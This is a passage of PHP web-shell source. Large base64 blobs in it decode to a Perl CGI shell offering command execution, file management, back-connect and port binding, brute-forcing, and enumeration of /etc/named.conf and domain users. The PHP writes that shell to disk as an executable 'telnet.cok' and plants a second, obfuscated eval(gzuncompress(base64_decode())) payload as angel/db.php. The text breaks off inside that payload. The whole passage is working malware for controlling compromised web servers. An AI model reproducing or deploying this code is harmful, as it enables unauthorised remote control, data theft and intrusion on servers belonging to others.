5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZU93bmVyKCRkKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGQpLiInLCciLiRkaXJuYW1lLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgiLiRpLiIsJyIuJGRpcm5hbWUuIicpXCIgPiIuJkZpbGVQZXJtcygkZCkuIjwvc3Bhbj48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZCkuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz48YSBocmVmPSdqYXZhc2NyaXB0OnJldHVybiBmYWxzZTsnIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGRpcm5hbWUnLCciLiZBZGRTbGFzaGVzKCZBZGRTbGFzaGVzKCRkKSkuIicpXCI+UmVuYW1lPC9hPiAgfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBkaXI6ICRkaXJuYW1lID8nKSkgeyByZXR1cm4gZmFsc2U7fVwiIGhyZWY9Jz9hPWd1aSZkPSRwYXRoJnJlbW92ZT0kZGlybmFtZSc+UmVtb3ZlPC9hPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsNCgkJCSRpKys7DQoJCX0NCgkJZm9yZWFjaCBteSAkZiAoQGZuYW1lKQ0KCQl7DQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGZpbGU9JGY7DQoJCQkkZiA9ICRwYXRoLiRmOw0KCQkJJHZpZXcgPSAiP2Rpcj0iLiRwYXRoLiImdmlldz0iLiRmOw0KCQkJJHJlc3VsdCAuPSAiPHRyIGNsYXNzPSckc3R5bGUnPjx0ZCBpZD0nRmlsZV8kaScgc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsnPjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0iLiRwYXRoLiImYz1lZGl0JTIwIi4kZmlsZS4iJz4iLiRmaWxlLiI8L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPiIuJlBhcnNlRmlsZVNpemUoJkZpbGVTaXplKCRmKSkuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlT3duZXIoJGYpLiI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOycgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygkZikuIicsJyIuJGZpbGUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCRpLCckZmlsZScpXCIgPiIuJkZpbGVQZXJtcygkZikuIjwvc3Bhbj48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZikuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4kcGF0aC4iJmM9ZWRpdCUyMCIuJGZpbGUuIic+RWRpdDwvYT4gfCA8YSBocmVmPSdqYXZhc2NyaXB0OnJldHVybiBmYWxzZTsnIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGZpbGUnLCdmJylcIj5SZW5hbWU8L2E+IHwgPGEgaHJlZj0nP2E9ZG93bmxvYWQmbz1nbyZmPSIuJGYuIic+RG93bmxvYWQ8L2E+IHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZmlsZTogJGZpbGUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9JHBhdGgmcmVtb3ZlPSRmaWxlJz5SZW1vdmU8L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPC90cj4iOw0KCQkJJGkrKzsNCgkJfQ0KCQkkcmVzdWx0IC49ICI8L3RhYmxlPjwvZGl2PiI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUcnkgdG8gVmlldyBMaXN0IFVzZXINCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBWaWV3RG9tYWluVXNlcg0Kew0KCW9wZW4gKGRvbWFpbnMsICcvZXRjL25hbWVkLmNvbmYnKSBvciAkZXJyPTE7DQoJbXkgQGNuenMgPSA8ZG9tYWlucz47DQoJY2xvc2UgZDBtYWluczsNCglteSAkc3R5bGU9ImxpbmUiOw0KCW15ICRyZXN1bHQ9IjxoNT48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hO2NvbG9yOiAjZmY5OTAwOyc+SG9hbmcgU2EgLSBUcnVvbmcgU2E8L2ZvbnQ+PC9oNT4iOw0KCWlmICgkZXJyKQ0KCXsNCgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7DQoJCXJldHVybiAkcmVzdWx0Ow0KCX1lbHNlDQoJew0KCQkkcmVzdWx0IC49ICc8dGFibGU+PHRyPjx0aD5Eb21haW5zPC90aD4gPHRoPlVzZXI8L3RoPjwvdHI+JzsNCgl9DQoJZm9yZWFjaCBteSAkb25lIChAY256cykNCgl7DQoJCWlmKCRvbmUgPX4gbS8uKj96b25lICIoLio/KSIgey8pDQoJCXsJDQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGZpbGVuYW1lPSAiL2V0Yy92YWxpYXNlcy8iLiRvbmU7DQoJCQkkb3duZXIgPSBnZXRwd3VpZCgoc3RhdCgkZmlsZW5hbWUpKVs0XSk7DQoJCQkkcmVzdWx0IC49ICc8dHIgY2xhc3M9IiRzdHlsZSIgd2lkdGg9NTAlPjx0ZD4nLiRvbmUuJyA8L3RkPjx0ZD4gJy4kb3duZXIuJzwvdGQ+PC90cj4nOw0KCQl9DQoJfQ0KCSRyZXN1bHQgLj0gJzwvdGFibGU+JzsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVmlldyBMb2cNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBWaWV3TG9nDQp7DQoJaWYoJFdpbk5UKQ0KCXsNCgkJcmV0dXJuICI8aDI+PGZvbnQgc3R5bGU9J2ZvbnQ6IDIwcHQgVmVyZGFuYTtjb2xvcjogI2ZmOTkwMDsnPkRvbid0IHJ1biBvbiBXaW5kb3dzPC9mb250PjwvaDI+IjsNCgl9DQoJbXkgJHJlc3VsdD0iPHRhYmxlPjx0cj48dGg+UGF0aCBMb2c8L3RoPjx0aD5TdWJtaXQ8L3RoPjwvdHI+IjsNCglteSBAcGF0aGxvZz0oDQoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3JfbG9nJywNCgkJCQknL3Zhci9sb2cvaHR0cGQvZXJyb3JfbG9nJywNCgkJCQknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9hY2Nlc3NfbG9nJw0KCQkJCSk7DQoJbXkgJGk9MDsNCglteSAkcGVybXM7DQoJbXkgJHNsOw0KCWZvcmVhY2ggbXkgJGxvZyAoQHBhdGhsb2cpDQoJew0KCQlpZigtdyAkbG9nKQ0KCQl7DQoJCQkkcGVybXM9Ik9LIjsNCgkJfWVsc2UNCgkJew0KCQkJY2hvcCgkc2wgPSBgbG4gLXMgJGxvZyBlcnJvcl9sb2dfJGlgKTsNCgkJCWlmKCZ0cmltKCRscykgZXEgIiIpDQoJCQl7DQoJCQkJaWYoLXIgJGxzKQ0KCQkJCXsNCgkJCQkJJHBlcm1zPSJPSyI7DQoJCQkJCSRsb2c9ImVycm9yX2xvZ18iLiRpOw0KCQkJCX0NCgkJCX1lbHNlDQoJCQl7DQoJCQkJJHBlcm1zPSI8Zm9udCBzdHlsZT0nY29sb3I6IHJlZDsnPkNhbmNlbDxmb250PiI7DQoJCQl9DQoJCX0NCgkJJHJlc3VsdCAuPTw8RU5EOw0KCQk8dHI+DQoNCgkJCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPg0KCQkJPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbG9nXyRpJykudmFsdWU9J2xlc3MgJyArIHRoaXMudmFsdWU7IiB2YWx1ZT0iJGxvZyIgc2l6ZT0nNTAnLz48L3RkPg0KCQkJPHRkPjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJUcnkiIC8+PC90ZD4NCgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJsb2dfJGkiIG5hbWU9ImMiIHZhbHVlPSJsZXNzICRsb2ciLz4NCgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJjb21tYW5kIiAvPg0KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIiAvPg0KCQkJPC9mb3JtPg0KCQkJPHRkPiRwZXJtczwvdGQ+DQoNCgkJPC90cj4NCkVORA0KCQkkaSsrOw0KCX0NCgkkcmVzdWx0IC49IjwvdGFibGU+IjsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQomUmVhZFBhcnNlOw0KJkdldENvb2tpZXM7DQoNCiRTY3JpcHRMb2NhdGlvbiA9ICRFTlZ7J1NDUklQVF9OQU1FJ307DQokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307DQokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9Ow0KJFJ1bkNvbW1hbmQgPSAkaW57J2MnfTsNCiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsNCiRPcHRpb25zID0gJGlueydvJ307DQokQWN0aW9uID0gJGlueydhJ307DQoNCiRBY3Rpb24gPSAiY29tbWFuZCIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQNCg0KIyBnZXQgdGhlIGRpcmVjdG9yeSBpbiB3aGljaCB0aGUgY29tbWFuZHMgd2lsbCBiZSBleGVjdXRlZA0KJEN1cnJlbnREaXIgPSAmdHJpbSgkaW57J2QnfSk7DQojIG1hYyBkaW5oIHh1YXQgdGhvbmcgdGluIG5ldSBrbyBjbyBsZW5oIG5hbyENCiRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIiBpZigkUnVuQ29tbWFuZCBlcSAiIik7DQpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7DQoNCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsNCg0KaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pIAkJIyB1c2VyIG5lZWRzL2hhcyB0byBsb2dpbg0Kew0KCSZQZXJmb3JtTG9naW47DQp9ZWxzaWYoJEFjdGlvbiBlcSAiZ3VpIikgIyBHVUkgZGlyZWN0b3J5DQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglpZighJFdpbk5UKQ0KCXsNCgkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOw0KCQlpZighKCRjaG1vZCBlcSAwKSkNCgkJew0KCQkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOw0KCQkJJGZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgkJCWNob3AoJHJlc3VsdD0gYGNobW9kICRjaG1vZCAiJGZpbGUiYCk7DQoJCQlpZigmdHJpbSgkcmVzdWx0KSBlcSAiIikNCgkJCXsNCgkJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7DQoJCQl9ZWxzZQ0KCQkJew0KCQkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7DQoJCQl9DQoJCX0NCgl9DQoJJHJlbmFtZT0kaW57J3JlbmFtZSd9Ow0KCWlmKCEkcmVuYW1lIGVxICIiKQ0KCXsNCgkJaWYocmVuYW1lKCRUcmFuc2ZlckZpbGUsJHJlbmFtZSkpDQoJCXsNCgkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsNCgkJfWVsc2UNCgkJew0KCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsNCgkJfQ0KCX0NCgkkcmVtb3ZlPSRpbnsncmVtb3ZlJ307DQoJaWYoJHJlbW92ZSBuZSAiIikNCgl7DQoJCSRybSA9ICRDdXJyZW50RGlyLiRQYXRoU2VwLiRyZW1vdmU7DQoJCWlmKC1kICRybSkNCgkJew0KCQkJJlJtRGlyKCRybSk7DQoJCX1lbHNlDQoJCXsNCgkJCWlmKHVubGluaygkcm0pKQ0KCQkJew0KCQkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsNCgkJCX1lbHNlDQoJCQl7DQoJCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsNCgkJCX0JCQkNCgkJfQ0KCX0NCglwcmludCAmTGlzdERpcjsNCg0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAiY29tbWFuZCIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQNCnsNCgkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJcHJpbnQgJkV4ZWN1dGVDb21tYW5kOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAic2F2ZSIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHNhdmUgYSBmaWxlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglpZigmU2F2ZUZpbGUoJGlueydkYXRhJ30sJGlueydmaWxlJ30pKQ0KCXsNCgkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCX1lbHNlDQoJew0KCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCX0NCglwcmludCAmTGlzdERpcjsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpIAkJCQkJIyB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KDQoJcHJpbnQgJlVwbG9hZEZpbGU7DQp9DQplbHNpZigkQWN0aW9uIGVxICJiYWNrYmluZCIpIAkJCQkjIHVzZXIgd2FudHMgdG8gYmFjayBjb25uZWN0IG9yIGJpbmQgcG9ydA0Kew0KCSZQcmludFBhZ2VIZWFkZXIoImNsaWVudHBvcnQiKTsNCglwcmludCAmQmFja0JpbmQ7DQp9DQplbHNpZigkQWN0aW9uIGVxICJicnV0ZWZvcmNlciIpIAkJCSMgdXNlciB3YW50cyB0byBicnV0ZSBmb3JjZQ0Kew0KCSZQcmludFBhZ2VIZWFkZXI7DQoJcHJpbnQgJkJydXRlRm9yY2VyOw0KfWVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgCQkJCSMgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUNCnsNCglwcmludCAmRG93bmxvYWRGaWxlOw0KfWVsc2lmKCRBY3Rpb24gZXEgImNoZWNrbG9nIikgCQkJCSMgdXNlciB3YW50cyB0byB2aWV3IGxvZyBmaWxlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmVmlld0xvZzsNCg0KfWVsc2lmKCRBY3Rpb24gZXEgImRvbWFpbnN1c2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbGlzdCB1c2VyL2RvbWFpbg0Kew0KCSZQcmludFBhZ2VIZWFkZXI7DQoJcHJpbnQgJlZpZXdEb21haW5Vc2VyOw0KfWVsc2lmKCRBY3Rpb24gZXEgImxvZ291dCIpIAkJCQkjIHVzZXIgd2FudHMgdG8gbG9nb3V0DQp7DQoJJlBlcmZvcm1Mb2dvdXQ7DQp9DQomUHJpbnRQYWdlRm9vdGVyOw==';
$file = fopen("telnet.cok" ,"w+");
$write = fwrite ($file ,base64_decode($cgi2012));
fclose($file);
chmod("telnet.cok",0755);
echo "<iframe src=telnet/telnet.cok width=96% height=76% frameborder=0></iframe></div>"; 
}


# x=mysql2
elseif(isset($_GET['x']) && ($_GET['x'] == 'mysql2')) {

echo "<center><br/><br/><nobr><b><span class='b7'>O=:[ MYSQL</span> <span class='b8'>MANAGER ]:=O</span></b></nobr><br/><br/> "; 
echo "</br></br><center><b><span class='b11'> You Can Go To : <a href='angel/db.php' target='_blank'>[+] HERE [+]</a></center></span></br>"; 
if (!is_dir('angel')){
$mk = @mkdir('angel',0777);
@fwrite($f , $c);
$f2 =@fopen('angel/db.php','w');
$sml_db =
"PD9waHAgZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgiZU5yTlBXdFhHN21TbjJmT21mK2c5UGltN2NFWW16eXZqWjJRUUdZNFE0QUw1TjZkeFY1djIyNURMM2EzMDkwT01CbisrOVpEcjM2WVFKTGRjK2NCTGFsVUpaV2tVbFdwSkg3NjBZL2pLQjdHL2lLSzB5QThyNzZvZFg3NjhYWGlwOE81ZHg2TWh4K1hVZW9udzNnWnBzSGNyemF4T0JvTms5U0wweW9tS25Nc0VGM2hYeTltMGNTdnVzS3RpM2t3amlPcVVTTWdncGVBWE9Pc05SQnI2cnM1QUtDSlB3MUNxSCt5UFR3K1BEd0ZMRWxLVFp0NVk4anU5eUhIM1lBZmt5QU9QVUE5SEw3YjI5OGREbXUxQnVRam5ZME5oV1R2WlBpdnZRUEdBZjlWajM0N0doNmVBQUxNcllsWG9pWGFvaWxxRmwxZFpXZnZlUGZ0NmVIeEg4T1QzYVB0NDIzNEZOMnV3QmJrNE44ZXZnZjQ4Y3hMa3FGL0hTUnBVblV4YnlXQlg0L2VRb1h6UEh2UEYyUEpxRW1RREtmTGNBeDhRcWp4OUh6NHlZdXJMdVI3bzVsUFpXa1FoVW0rS2REQnZZTjNoNEM5K3NpUC9mT2c2aXd1RmtFNGpaeTZ4bHJMTm96R0dRZGdPQXZtUWNxais5T1AweWoydmZGRjFZdGo3NmJxRG4vZGhjRndoMGVISjZmUU15OFJGUmlWajBzL1NXdmlzd0d2Nkd5R3VmUnZSTGNISDUrODJkSW4wR0FxcWxUd3VYa3JIZ0ZMaDY3T1orNVFVbFlCSGlSRGJvUkNBdTI3aFhLSlhPSG1YUDVQRWhsZmVESDBqc1p0bVU1Zk1wMEwzNXY0Y2RVWlIySHFoK242NmMzQ2I0dlV2MDQzTHRMNXJDTmt0UzVVV1gvcEVEbmh6eEsvZ0hNVW5EOTdJRTZzY2hmSzg5SGxBekZDamJzUXpqeFkwcTBINGd5U2FQM2x5MmQvWDk5MEpMZHgrZnF6S2JIN1pQZjRuN3ZIWnk0dXA1UGQvWGZ1QUNaVWFYYmJ5ajU1ZTd4M2REbzgySDYvNitKS3IrQ2NBNUV3WHdCU2xoSTA4ZVRZVFNLUVJNeGxiM3k1WE14dmtvOHpWengrTEI1VkV1K1Q3eVhUWU1ZVGFqS0NEb1ZRWlhRUkpXbGR3TWN5OFdQNldNQ3FwQThVRnZBaGU4aGxJTzVvdmFXNHFxQVZOTTJHMDFtd3FISWVsY1orc3B3Qk04WEhxblB5MitHL0JCVWx4QmxzNmlNSlVST0xxcnQxc2Rsekc5VFlJWW5WS3NpbHJRM01KV1RZYUd3S29CdDVDWDFXRFk5K096MDlHdjZHUzJ6UWNJZnZiMDcrc2QvQWJtTlZPWGp1V3psNEtRMmV0MWpNZ3JHSDBtQmpHVjZHMFZWWUNyMFRKSXNvQ1JBT0txVXByTlU1NUhlRWFsRFhiZWpHc1VqSFBreTgxSU9tdWk3a1hGMUFNYzZ1SmZUckNuSzVsMU0vSFYrb0ZTbzVvZGR6a0FDekpUUFBaRTBROUFPR3NHZzBZSm5ENTNLK0lOaXFnYTNwaGMzMHhyTW80YmtDd2paVnN4UEp5VW5UN2JxTWwzanhXUTBTVHdHbUN5TXpUODZ4WTBjem1FbStDTUxGTWhVTTR1ckY5RDBtRnhGSHhxcTlRWFo2UnRNMzM1elRDNTlHUk54RVMzSGxoYW5ZZ1Y3TUltOUNVL1FLWkdvWWhZUUpSaS9iMHN4RWhjWHFqMU9CTlllSXNPcmFkR0dLeU9sclppOWdnSG83eDRkSDRuVDd6ZjZ1MkhzbmR2OWo3K1QwUktUenhkQUx6LzBaMXdLd3Q4ZTcyNmU3RWxBWGk2cVVMR0wvOE9EWE4vdUhiOFRCNGFrNCtMQy9YOU5WOXcrM2Q4VE85dWsyQUwzZDNoZXdZY0VHTGx5bjRVMG1DZXlpRjM2T1NRM0hCYWpUd3dLNWQzdTcrenNuNG5UMytQM2VBYlJuUjd6NUE3WVRMaDErTmhMbWR1aEgwK0hRRmJzbmI3ZVBKSndyOXZjT2RoOVNuZnRReG1mVjcya2N6VTBEVlpjdHBtYkxjQnZqdGZSNjlXSXlZaWE2eXMrWGZSaGZuakJURDM1T1JFNzJaQ2NJQXFJeUFEVVhYbnFCbjFsTzMwdk1YSzlMVVlIMXoxellQZnd3Z1FKMzhFMkNoN0Vwb1poQjVteVB4LzRpWGQvM3cvUDBvaTJjQm1oelVMdGFrU0tDcE1INEloSXl3eElPZ3Y3OTZjZFhQUlFTVzdqUDlmQTNZTWJmY3grRXowV2FMdFpCYXdrK2RaMjMxdDdvcUhIdE9pczJYa1NSQnVuTTc3My9BNFQxMWdZbklEZEpiMkJVa0h1eThqaEpFSHdVVFc3cTZlVHpGREMzUld0emNTMjI0OENiMVUrOWkyanVkV2FneTYxZitNSDVCUlkvWDF4M29QRU5razljcDFnRk44anpPRnFHay9iUDArbTBNNHBpNEJyVUJzQWttZ1VUOGZQejU4ODdDMWhmSUI3YlVMOGpDV3h1U3Z3ZWFHOFdlaGk5WlJ6NHNUandyMENaZkIrRlViSUFCZnhyU0NINlVTbytNK2o2T0pwRmNmdm5VUlAvemVCN01zRi9PeEpnU3Y5MFZuUTUxMzVQZk9acTR1ZG1jOXBCZnE5UC9IRVUwNHh0QTNvL1JzWVNiUHNpK3VUSHVzSzAyU3hVUUJuTGZKbWxMUUdqSlJ1ZlJvdTIxVlhEZ2ZWUmxLYlIzQzZjVENaWmRyWHdYODJhWndEWmFzS1BaL3kvSXJmNXZjajlIZis5bTl3MEdpK1Q3MFVQL3ZHOHUrbmhvdnRPNVB5LzQ3K3J5ZUc4V2IvaVdUS0taaE9idm9DNUhINjJJY0lvbm5zemhBRTdadjU1N3NYblFkaHVhdlJOTExyWUxDdFFNL0VwRUxYWExtVVFqU1Q0MDIrM01DbW45ck0zejE4K2Y0Y29sN01HeWVOWllGQkxvS2RQbnhieDJkOVkvWE4rNHBKMm9GQzhlUEdpTXdVTklHM1AvR25hQWZzUHJPaWI5bWdXalM4N1Y4RUVSR25yR1RDdHc3VFhZMEtPYkVUa1d4c2t3a2lXamVOZ2tkckM3SCs4VHg3bm9reFQ5cWg0ZStHUEw3ZG5zeXF5VWRtRlZiQmRSZEJ0ZG9JdHpHN0Fqb2s3UU5LWWtUanZCR3RyQklwZ3FCZG5nTTZDZ2R6Ly9BYnB6V2d3amk4dXZSbG94U0RsRzJNa0NSdWZyTWRGS3BjM0FLdUJsV293SVdLeG55N2pVRXhnQlNDZEJ0alp1MHp5emMzZUJLRjRlOVkxenlPUFBxcndDM1dsU3RWVldXNnR3UjhOTWtTN2tPamtBWkxsQ0kxcmlSVjRTOHhENW02b3JRaDNCa0U4N3pwNk5wQTJ2QTdERmkzVDlqUzRoajZKSzFnazZ5T1EySmR0K3JrT1BlYWRpSlZFSE5tdTAybzIvK1lJWGxCZHB3bDdtVCtieVhtcjB5alZaWm9ReE96SDZEb28rRGhyMHR2QzlhSmF4aE9LcGtySDZaMTRVeCsyaDRuZjNucTF1RmdJMm9TQmwrUHBlZFZOb0hBNGgwSlFOMS8xb00rQUJsSENoaHY3MDY1akpsRmJjOWVkUmVmUVZWUlFlL3YwdWJYaDljU1hhb0VLNDAzbVFVajFWSTBOYlB0R0d1TVA1QXhyQUE5Z1V1dFprVXRiaUMrbEFjTWVTMWZKSEFkUitVcElmK24yck9ISFlaOTdsLzVGZ0w0eGxkdmhxdE1vU3FYdHkzb2VsNHUvL2hMcUU4MWcwMFdjdjQra1FZSUdzZnBFYXo4YWV6Tk1vR253U05vcUVvWStwUzMzU0Zvb3NvZytvZWpKaytaemx6eFFJMndaWm0yeGFjUnJIOW8vOFVOSEJKTXVPaEZDVUgwZFFVcWNTZklhY0ZxTzJPaTVzbGZLRHVTRzFtajlTQkpnK0RrMmpiNGswaWNxZlllcjlDVVpLODEwK2s1RjUyejArcUZEUzk2bWlOMldkdGE5U1dJZG02Uk1XeVJsVGpsSnRBc2ZTaExyMkNSbDJpSXBjMWFRUkhQem9TU2hUb1lrcDIyU25GTk9rc3pwQjVMRU9qWkptYlpJeXB3eWtsTHhmaGhOV2NrUU5SbWFxc25TWkhIZS92QkZWMVRlRThYcmwxMUhtSjVYbFlNQjVHSUV2MUt3NzZuWXJkM2xaVkJPQnVWalVDNEc3V0c0di9kcWl1NjExOU5vZ2VZU1duMTE5OHBWTmlXVTF2S3VBOWZ5Y2JsZjVlUDZmL0FjcmZBVjFRWDJTRHVNcHV3cmtubGtaUzdqR1hxVXJUTUZlZEpRZDkwNjhZZGtkZFhkZ2Zhak1Tb3V2RVFrU3pCQWswVHcrSXMwRW5vN2t0WXI0RzI0RHJBdGh0MnY2d3hITXk4RTh4QktFU2V5eDJQdTVKMVlaZzRBMFRlTW4yMTV0MmE3dEdtNGdoQm1CUXR0L2dSY1BJQ1gvZzEwQ3Qyek1LdmxWMHF1VlJvQjdaN1gxY2c5cjd6elVNZTQ1bFZDNFd3d3FnYW1rWTJTZ01wMmNwNGJySTZaTkRXNUJYVzNrK21HUkl6ZFlHUzFiMXdEOCtySHFyTjNjTEo3Zk1xZUlwNDNwREFxY2pYeHorMzlEN3NuM0VQTWNQQWd4TjFqbm9iK2xZaFJrWjZJYUtvRzNCVnRrWm5udFd4SGxndVk1bjUyUENpRk0rZjVVMmJqdHd4SW50a0kwSEM2OTJlNUdsSEY1TXJWaFI4cjcvUHpwME8wSFVBblVRM3VmUHN3ZkRqYVFkZWdOUUludTZkNld2N3J0OTFqS09SVzdPKzkzenNWTFI2SFkyWStzUlRrN1pkWWI0VHl4SmZDMkdiNkY3dFpnV3ArNmcrUjg3Q0Y3T3p1NzBLcjN4MGZ2cmViYmpmWCtRN011UThaNHNZT3RnNVZ2M3ZQU2NrWGc1UlVPOE9sT0ZxNDM3ck9rRUxXbjJub09UVzE1ZTBBS2Q1QTdHYWJ2VXFlZjdodVR2eXRHRzZvSnB1U3FGMnU2cUordmVOUFBkZ3pZSzdqcVJsay9Qcm1kendlcG1NNVNMN0IzM1Y1OUFmcEQ2ZnYxbDlpaGp3VGc2eDllVHJXS2RQanlaZUhVT1RiRSsrOTBEdjM0eFhhZk4yMlFYNzZFYmZKTVZpVFBsZ0xpNTdLMm5ramZrTk52ZTBxSEtTNTVBMEhIaGxFR2Z5Skdadk51a3ZLQ254ckhWb1N